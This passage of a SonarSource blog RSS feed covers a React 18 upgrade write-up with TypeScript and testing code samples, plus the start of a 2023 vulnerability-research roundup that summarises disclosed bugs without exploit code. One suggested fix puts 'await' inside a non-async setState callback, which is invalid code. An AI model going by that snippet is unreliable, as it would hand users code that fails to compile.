on-premises, whether you use .NET or .NET Framework, we have you covered!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And if you are an open-source developer, this power is available to you for free because &lt;a href=&quot;https://www.sonarsource.com/solutions/commitment-to-open-source/&quot;&gt;Sonar believes in a strong open-source community&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;blockquote&gt;“.NET web developers utilizing ASP.NET Core Blazor, MVC, and Razor Pages now have the added option of integrating SonarSource code analysis into their Razor-based applications. Many .NET developers have shared their positive experiences with SonarSource code analysis, and say it is helping them maintain Clean Code and promote best coding practices. SonarSource code analysis is a valuable tool for .NET developers who want to deliver clean and secure code consistently and reliably.” &lt;footer&gt;&lt;cite&gt;– Daniel Roth, Principal Product Manager, Microsoft&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Check out this &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/achieve-clean-blazor-code-with-sonarqube-and-sonarcloud/&quot;&gt;webinar&lt;/a&gt; with Microsoft Blazor Product Manager, Daniel Roth, to learn how you can leverage SonarQube and SonarCloud to maintain Clean Code in your Blazor applications.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Download &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/ide-login/&quot;&gt;SonarLint&lt;/a&gt; and either install &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/deployment/&quot;&gt;SonarQube&lt;/a&gt; or start a &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud&lt;/a&gt; trial and give it a try! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ready, Set, Clean!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lessons learned upgrading to React 18 in SonarQube]]></title><description><![CDATA[We share the biggest three issues we faced and the lessons we learned as we upgraded SonarQube to React 18.]]></description><link>https://www.sonarsource.com/blog/upgrading-react-18-sonarqube</link><guid isPermaLink="false">85f91cee-c245-55e3-a191-1b3bd5c06830</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 17 Jan 2024 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; interface is written in &lt;a href=&quot;https://react.dev/&quot;&gt;React&lt;/a&gt; and we recently went through the process of upgrading from version 17 to 18. To give you a bit more of the picture, the app is also written in &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;TypeScript&lt;/a&gt; and uses &lt;a href=&quot;https://jestjs.io/&quot;&gt;Jest&lt;/a&gt; with &lt;a href=&quot;https://testing-library.com/docs/react-testing-library/intro/&quot;&gt;React Testing Library&lt;/a&gt; (RTL) for testing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We wanted to share the biggest three issues we faced and the lessons we learned as we carried out the upgrade. In brief, they were:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Some TypeScript types changed&lt;/li&gt;&lt;li&gt;React Testing Library must also be updated&lt;/li&gt;&lt;li&gt;React 18 brings breaking changes&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s get into what these meant and how we dealt with them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Note: this post was co-written by the SonarQube front-end team of David Cho-Lerat, Ambroise Christea, and Philippe Perrin.&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;TypeScript type changes&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2022/03/08/react-18-upgrade-guide#updates-to-typescript-definitions&quot;&gt;The React 18 upgrade guide&lt;/a&gt; points out that both &lt;code&gt;@types/react&lt;/code&gt; and &lt;code&gt;@types/react-dom&lt;/code&gt; must be updated as you upgrade, and the &amp;quot;most notable change is that the &lt;code&gt;children&lt;/code&gt; prop now needs to be listed explicitly when defining props.&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The good news for this update is that &lt;a href=&quot;https://github.com/eps1lon&quot;&gt;Sebastian Silbermann&lt;/a&gt;, from the React core team, maintains a &lt;a href=&quot;https://github.com/eps1lon/types-react-codemod&quot;&gt;collection of codemods&lt;/a&gt; that help to automatically update the types when upgrading from React 17. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can run the codemod using npx like so:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;npx types-react-codemod preset-18 ./src&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It will present a number of transforms you can apply and will default to the transforms that are required.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, the transform to list the &lt;code&gt;children&lt;/code&gt; prop explicitly will take a component that looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;MyComponent: React.ComponentType&lt;P&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and replace it with:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;MyComponent: React.ComponentType&lt;React.PropsWithChildren&lt;P&gt;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Watch out though, we found that the codemod can end up nesting the &lt;code&gt;PropsWithChildren&lt;/code&gt; type and your type might end up looking like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;MyComponent: React.ComponentType&lt;React.PropsWithChildren&lt;React.PropsWithChildren&lt;&lt;P&gt;&gt;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While this isn&amp;#x27;t harmful, you will want to correct these types as you come across them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The new types are also more picky in some areas. For example, previously we were able to override the type of &lt;code&gt;children&lt;/code&gt; in an interface like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;interface ComponentProps {
  children: React.ReactNode;
}

interface Props extends ComponentProps {
  children: () =&gt; React.ReactNode;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the React 18 types, this no longer works and you must now omit the declaration of &lt;code&gt;children&lt;/code&gt; first.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;interface Props extends Omit&lt;ComponentProps, &apos;children&apos;&gt;  {
  children: () =&gt; React.ReactNode;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The new types also don&amp;#x27;t allow implicit &lt;code&gt;any&lt;/code&gt; types for the parameters to a &lt;code&gt;useCallback&lt;/code&gt; function. You will need to explicitly declare the types, for example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import { useCallback, MouseEvent } from &apos;react&apos;;

export function SubmitButton(props: ButtonProps) {
  const handleClick = useCallback((event: MouseEvent) =&gt; {
    event.preventDefault();
    // Do something else.
  }, [...]);
  return &lt;button onClick={handleClick}&gt;Submit&lt;/button&gt;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When you upgrade &lt;code&gt;@types/react&lt;/code&gt; to version 18, expect to see a few issues like this.&lt;/p&gt;&lt;h2&gt;React Testing Library update&lt;/h2&gt;&lt;p&gt;We found that many of our tests that used to pass now failed after updating React and RTL. There were two categories of failure: timing and calls to &lt;code&gt;act()&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;Fake timers&lt;/h3&gt;&lt;p&gt;RTL &lt;a href=&quot;https://testing-library.com/docs/user-event/options/#delay&quot;&gt;uses a &lt;code&gt;setTimeout&lt;/code&gt; for a defined delay&lt;/a&gt; when simulating user events, but this does not play nicely with &lt;a href=&quot;https://jestjs.io/docs/timer-mocks&quot;&gt;Jest&amp;#x27;s fake timers&lt;/a&gt;. This caused tests to hang and fail with a timeout.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In version 14.1.0, RTL added an &lt;a href=&quot;https://testing-library.com/docs/user-event/options/#advancetimers&quot;&gt;&lt;code&gt;advanceTimers&lt;/code&gt; option&lt;/a&gt; to the setup step for &lt;a href=&quot;https://github.com/testing-library/user-event&quot;&gt;user-event&lt;/a&gt; so that you can provide your own timer. We were able to fix our tests by passing the &lt;code&gt;jest.advanceTimersByTime&lt;/code&gt; method.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const user = userEvent.setup({ advanceTimers: jest.advanceTimersByTime })&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Acting out&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://kentcdodds.com/blog/fix-the-not-wrapped-in-act-warning#the-dreaded-act-warning&quot;&gt;dreaded &lt;code&gt;act(...)&lt;/code&gt; warning&lt;/a&gt; had plagued our codebase for a while and in some cases had been patched up by adding an extra call to &lt;code&gt;act&lt;/code&gt; around some RTL events and helpers.&lt;/p&gt;&lt;p&gt;RTL helpers use &lt;code&gt;act&lt;/code&gt; internally, so while adding an extra call to &lt;code&gt;act&lt;/code&gt; was initially a valid workaround to suppress the warning, it now caused the tests to fail. Removing the excess calls to &lt;code&gt;act&lt;/code&gt; got the tests passing again. If you still receive warnings, Kent C. Dodds has a comprehensive post on &lt;a href=&quot;https://kentcdodds.com/blog/fix-the-not-wrapped-in-act-warning&quot;&gt;what causes the act(...) warning and how to fix it&lt;/a&gt; in the context of RTL.&lt;/p&gt;&lt;h2&gt;React 18 breaking changes&lt;/h2&gt;&lt;p&gt;The biggest change in React 18 is right at the root of the application. &lt;a href=&quot;https://react.dev/blog/2022/03/08/react-18-upgrade-guide#updates-to-client-rendering-apis&quot;&gt;&lt;code&gt;ReactDOM.render&lt;/code&gt; is no longer supported and should be replaced with &lt;code&gt;createRoot&lt;/code&gt;&lt;/a&gt;. While on the surface this seems like a simple change that provides a better way for React to manage the root of the application, it actually changes how React renders your application. Two new features are enabled: automatic batching and the new concurrent renderer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Concurrent rendering allows React to interrupt the rendering of a component if there is other work that needs to be done at a higher priority. You opt-in to this behaviour by defining a state update as a transition using the &lt;a href=&quot;https://react.dev/reference/react/useTransition&quot;&gt;&lt;code&gt;useTransition&lt;/code&gt; hook&lt;/a&gt;. If you don&amp;#x27;t opt-in, your components will render sequentially as before, so this should make no difference as you upgrade your application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, automatic batching is enabled immediately. Automatic batching is a performance improvement in React 18 to reduce the number of renders by collecting state changes into one update. It can cause some unexpected behaviour though.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered some parts of our code fell foul of this new batching when several tests started failing. The tests were expecting parts of components to be rendered, yet found them to be empty.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We realized that this batching includes any execution sub-context in the same scope! This means that if you have a &lt;code&gt;setState&lt;/code&gt;, then a Promise that also does a &lt;code&gt;setState&lt;/code&gt; when it resolves/rejects, both state changes will be batched at the end of the scope if they happen close to each other (for instance in tests, where mocked queries are almost instantaneous).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this simplified example of two methods in a class-based component we set a state, then, within the body of an asynchronous function, we relied on that new state in a conditional.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyComponent extends React.Component {
  // ...

  fetchProjects = async () =&gt; {
    const { shouldFetch } = this.state;

    if (shouldFetch) {
      this.setState({ loading: true });
      const projects = await this.fetchProjects();
      this.setState({ loading: false, projects: projects });
    }
  }

  handleFetchProjectsClick = async () =&gt; {
    this.setState({ shouldFetch: true });
    await this.fetchProjects();
  }

  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In React 17 when &lt;code&gt;handleFetchProjectsClick&lt;/code&gt; was called it would set the &lt;code&gt;shouldFetch&lt;/code&gt; state to &lt;code&gt;true&lt;/code&gt;, then call on &lt;code&gt;fetchProjects&lt;/code&gt;. Within &lt;code&gt;fetchProjects&lt;/code&gt; the test for &lt;code&gt;shouldFetch&lt;/code&gt; would be &lt;code&gt;true&lt;/code&gt; and the data was fetched. This is because the state update task happens before the &lt;code&gt;fetchProjects&lt;/code&gt; promise is handled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In React 18 with &lt;code&gt;createRoot&lt;/code&gt; the projects aren&amp;#x27;t fetched because the state update is deferred until the end of &lt;code&gt;handleFetchProjectsClick&lt;/code&gt;, so when &lt;code&gt;fetchProjects&lt;/code&gt; runs &lt;code&gt;shouldFetch&lt;/code&gt; would still be falsy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you need to ensure code runs after state is set, you can either use the callback form of setState or the new &lt;a href=&quot;https://react.dev/reference/react-dom/flushSync&quot;&gt;&lt;code&gt;ReactDOM.flushSync()&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyComponent extends React.Component {
  // ...

  handleFetchProjectsClick = async () =&gt; {
    this.setState({ shouldFetch: true }, () =&gt; {
      await this.fetchProjects();
    });
  }

  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Asynchronous renders in tests&lt;/h3&gt;&lt;p&gt;The above fixed the component rendering on the page, but we found that the tests continued to fail. Debugging these failures step-by-step showed that the content was not present on the initial render, but when we re-rendered the component it then appeared. Because we now used the &lt;code&gt;setState&lt;/code&gt; callback method to fetch the data, the initial render didn&amp;#x27;t include the content.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our tests were using RTL&amp;#x27;s synchronous methods to find that content on the page, like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;expect(screen.getByText(&apos;Content&apos;)).toBeInTheDocument();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Replacing RTL&amp;#x27;s &lt;a href=&quot;https://testing-library.com/docs/queries/about/#types-of-queries&quot;&gt;synchronous &lt;code&gt;getBy&lt;/code&gt; queries with the asynchronous &lt;code&gt;await findBy&lt;/code&gt; query &lt;/a&gt;fixes the issue. For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;expect(await screen.findByText(&apos;Content&apos;)).toBeInTheDocument();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using a &lt;a href=&quot;https://testing-library.com/docs/dom-testing-library/api-async/#findby-queries&quot;&gt;&lt;code&gt;findBy&lt;/code&gt; query&lt;/a&gt; uses &lt;a href=&quot;https://testing-library.com/docs/dom-testing-library/api-async/#waitfor&quot;&gt;&lt;code&gt;waitFor&lt;/code&gt;&lt;/a&gt; under the hood to give the DOM time to update when it doesn&amp;#x27;t happen immediately.&lt;/p&gt;&lt;h2&gt;The upgrade was a success&lt;/h2&gt;&lt;p&gt;The SonarQube UI is now running successfully on React 18. While some of the issues we came across had to do with the test suite needing an upgrade, others were caught because we have a comprehensive test suite across both unit tests for components and end-to-end tests avoiding production failures when it was time to deploy. &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/#adaptable&quot;&gt;Writing testable code is one part of writing adaptable code, one of the properties of Clean Code&lt;/a&gt;. Those tests highlighted things that needed to be updated and gave us the confidence that when they passed, the application was ready. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are running React 17 and planning an upgrade, hopefully, these experiences can help you with some of the pitfalls.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vulnerability Research Highlights 2023]]></title><description><![CDATA[Our Vulnerability Research team looks back at a great year and summarizes the highlights of 2023.]]></description><link>https://www.sonarsource.com/blog/vulnerability-research-highlights-2023</link><guid isPermaLink="false">3df98d0e-6876-5ef2-b3e7-c75ab2462326</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 03 Jan 2024 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A great challenge for developers nowadays is to keep up in the fast-evolving field of software development. Today&amp;#x27;s vast landscape of different technologies requires developers to deal with various programming languages, configuration specifics, build systems, etc. And as if that were not enough, this complexity increases the risk of introducing security vulnerabilities, which would allow attackers to steal sensitive data, attack other users, deploy ransom- or malware, or carry out other malicious activities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To ease this burden, we at Sonar, are constantly improving our code analyzers to help developers write &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;. One important aspect of this is &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;Code Security.&lt;/a&gt; A software application should be free of security vulnerabilities. Our dedicated research team finds and inspects vulnerabilities in modern open-source applications to keep up with the latest trends and better understand the most recent threats.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Based on the insights of these real-world vulnerabilities, we can improve our product, enabling our users to easily detect weak spots in their own code. At the same time, we responsibly disclose all identified vulnerabilities to the corresponding vendors to protect the users of affected applications. We also publicly share our findings to help developers, and security researchers learn from those vulnerabilities, their potential exploitation, and the applied fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a look at our research highlights for the year 2023!&lt;/p&gt;&lt;h2&gt;Pwnie Award Nominations&lt;/h2&gt;&lt;p&gt;Following our nominations in 2021 and 2022, we were happy to receive yet another two nominations for the Pwnie Awards in 2023. The traditional Pwnie Awards are presented at the BlackHat USA conference and honor outstanding achievements of security researchers and the security community.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2c27eea5-75ac-45b7-94b5-ccd624f0ab8d/blackhat-usa-2023-pwnie-awards-v2.webp&quot; /&gt;&lt;p&gt;We were nominated in the following categories:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Epic Achievement&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Nominated for our work on the PHP supply chain that prevented the compromise of millions of servers (&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;Blog&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Best Remote Code Execution&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Nominated for our complex RCE bug chain in Checkmk (&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Blog&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although we did not win the award, the nominations were a great honor for us again. Let’s see what this year brings!&lt;/p&gt;&lt;h2&gt;Conferences and Talks&lt;/h2&gt;&lt;p&gt;Conferences are an excellent way for us to keep up with the latest research trends, meet with the IT security community, and share our own knowledge by presenting a talk.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0dc8e08e-654c-40a6-b873-6d809b19a0c8/sonar-vr-talks.png&quot; /&gt;&lt;p&gt;We were honored to share the results of our research at top-tier conferences in 2023, including the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Black Hat Asia 2023&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=pnbZMvCPqSc&quot;&gt;YouTube: Stealing With Style: Using CSS to Exploit ProtonMail &amp;amp; Friends&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;DEF CON 31&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=sdiHfVhPso4&quot;&gt;YouTube: DEF CON 31 - Visual Studio Code is Why I Have Workspace Trust Issues - Chauchefoin, Gerste&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/blackhat-2023-overview/&quot;&gt;Blog: BlackHat 2023: Hackers, Casinos, and an Exciting Announcement&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;HEXACON2023&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ToIn2bkD9yU&quot;&gt;YouTube: HEXACON2023 - An Avocado Nightmare by Stefan Schiller&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Blog: Highlights from Hexacon 2023&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Pwn2Own&lt;/h2&gt;&lt;p&gt;Pwn2Own is a hacking contest held by &lt;a href=&quot;https://www.zerodayinitiative.com/&quot;&gt;ZDI&lt;/a&gt;, where participants are supposed to discover and exploit vulnerabilities in popular software or hardware devices. After our &lt;a href=&quot;https://www.sonarsource.com/blog/patches-collisions-and-root-shells-a-pwn2own-adventure/&quot;&gt;successful participation in 2022&lt;/a&gt;, we were thrilled to participate again in this year’s Pwn2Own Toronto edition. Despite the fact that the research related to this is not our main focus, we were able to &lt;a href=&quot;https://www.youtube.com/shorts/c8poOI05TEY&quot;&gt;successfully exploit the Wyze v3 camera&lt;/a&gt;. Stay tuned for the details!&lt;/p&gt;&lt;h2&gt;Trends and Discovered Vulnerabilities&lt;/h2&gt;&lt;p&gt;When choosing an open-source application for vulnerability research, we prefer active and widely deployed projects. This way, we maximize the impact of our findings to benefit many users at once. Although these are usually big and complex projects, and hence harder to analyze with traditional SAST techniques, these are also excellent realistic benchmarks for analyzers. This also means that finding something will be a challenge because more community members and professionals will have looked at the code already.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are excited that in 2023, our team found and reported critical vulnerabilities in some of the most popular applications across different domains and major programming languages:&lt;/p&gt;&lt;h3&gt;Attacks on Supply Chain and Developers&lt;/h3&gt;&lt;p&gt;Vulnerabilities in critical CI/CD infrastructure could not only allow attackers to compromise specific installations but could also have helped to launch entire supply chain attacks. In a supply chain attack, a software package is infected and then shipped as part of another software package to users. Aside from directly attacking the CI/CD infrastructure malicious threat actors are also targeting developers. These have access to the most valuable asset for a software company: its source code. Continuing our efforts from last year, we identified and published more vulnerabilities that could be used to launch supply chain attacks and explicitly attack developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TeamCity&lt;/strong&gt; is a widely used Continuous Integration and Continuous Deployment (CI/CD) server from JetBrains deployed by more than 30,000 customers worldwide. We identified a &lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;critical authentication bypass&lt;/a&gt;, which could be used by attackers to execute arbitrary code on the server and potentially launch a supply chain attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Visual Studio Code&lt;/strong&gt; is the most popular source code editor. We thoroughly investigated its &lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;security landscape including the five major attack surfaces&lt;/a&gt;, namely exposed network services, protocol handlers, workspace settings and local data, workspace trust, and XSS. Furthermore, we identified &lt;a href=&quot;https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/&quot;&gt;multiple vulnerabilities in third-party extensions&lt;/a&gt; with millions of installs and even more &lt;a href=&quot;https://www.sonarsource.com/blog/vscode-security-finding-new-vulnerabilities-npm-integration/&quot;&gt;vulnerabilities in the NPM integration&lt;/a&gt; of VSCode.&lt;/p&gt;&lt;h3&gt;Privacy Mailers&lt;/h3&gt;&lt;p&gt;Many messenger services have already switched to end-to-end encryption (E2EE) to protect messages in transit and at rest, but it is still rare among email services. While PGP and S/MIME do exist, they are usually cumbersome to set up and use, even for tech-savvy users. That&amp;#x27;s why many people turn to privacy-oriented webmail services which make communications safe in transit and at rest. However, the web clients will need to decrypt these messages to show them to the user which makes it an interesting component to attack!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Proton Mail&lt;/strong&gt; is a very popular end-to-end encrypted email service with nearly 70 million users worldwide. We identified a &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Cross-Site Scripting (XSS) vulnerability&lt;/a&gt; in its web client. Attackers could leverage different techniques to successfully overcome all mitigations and potentially steal emails and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Skiff&lt;/strong&gt; is a well-established, end-to-end encrypted email service. During our audit of its source code, we discovered a &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;mutation-based Cross-Site Scripting (XSS) vulnerability&lt;/a&gt;, which could be exploited by attackers to steal emails and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tutanota Desktop&lt;/strong&gt; is the secure desktop client for the encrypted email service Tutanota. The vulnerability we identified in this application could be leveraged by attackers to even &lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw/&quot;&gt;execute arbitrary code on a victim’s machine&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Management Software &amp;amp; CMS&lt;/h3&gt;&lt;p&gt;A great advantage of web applications is that they are very accessible. While native applications usually require a full-blown client on a user’s machine, web applications can be accessed via a browser. Because of this, a lot of software that manages not only generic but also sensitive data is implemented as a web application. Since these applications are usually exposed to the network, they are a valuable target for threat actors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Moodle&lt;/strong&gt; is an open-source learning management system (LMS) used to create and deliver online courses. It is now widely used by educators and institutions around the world, earning the trust of educational institutions worldwide, with its user base exceeding 350 million across 242 countries. During our research, we discovered that an &lt;a href=&quot;https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/&quot;&gt;unauthenticated user could create arbitrary folders on a Moodle server&lt;/a&gt;. This apparently innocuous action turned out to introduce a Cross-Site Scripting (XSS) vulnerability, that could eventually be leveraged by an attacker to gain remote code execution. Furthermore, we identified an &lt;a href=&quot;https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-2/&quot;&gt;Account Takeover (ATO) via self-XSS in the WYSIWYG editor&lt;/a&gt; of Moodle.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OpenEMR&lt;/strong&gt; is the most popular open-source software for electronic health records and medical practice management. It is used worldwide to manage sensitive patient data, including information about medications, laboratory values, and diseases. We &lt;a href=&quot;https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system/&quot;&gt;analyzed multiple code vulnerabilities detected by our SAST engine&lt;/a&gt;, which could be exploited by an attacker to take over any OpenEMR instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Pimcore&lt;/strong&gt; is an enterprise software platform for central management of corporate data. With over 100,000 clients across 56 countries, including some major vendors, it has become a trusted choice for businesses worldwide. With the help of SonarCloud, we &lt;a href=&quot;https://www.sonarsource.com/blog/pimcore-one-click-two-security-vulnerabilities/&quot;&gt;identified two distinct vulnerabilities&lt;/a&gt; that an attacker could exploit with a single GET request, ultimately leading to code execution.&lt;/p&gt;&lt;h3&gt;Infrastructure and Network&lt;/h3&gt;&lt;p&gt;IT infrastructure is the keystone of our modern digital world and has increasingly become more complex. An attacker who can compromise a company’s IT infrastructure could easily exfiltrate sensitive data, deploy ransomware, spy on employees, and much more. This makes IT infrastructure a high-profile target for threat actors. Continuing our efforts from the previous year, we identified and published more critical vulnerabilities in IT infrastructure-related applications. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;pfSense&lt;/strong&gt; is a popular open-source firewall solution by Netgate. Since a firewall stands as the vigilant guardian of an organization’s network, it is exposed to attacks from external threat actors. Thus we put its resistance to the test and, with the help of SonarCloud, discovered multiple vulnerabilities, that attackers could have used to &lt;a href=&quot;https://www.sonarsource.com/blog/pfsense-vulnerabilities-sonarcloud/&quot;&gt;spy on traffic or attack services inside the local network&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cacti&lt;/strong&gt; is a well-established, open-source monitoring solution with thousands of publicly exposed instances on the internet. We identified a &lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;critical command injection vulnerability&lt;/a&gt;, which could be triggered via an unauthenticated attacker by leveraging an authentication 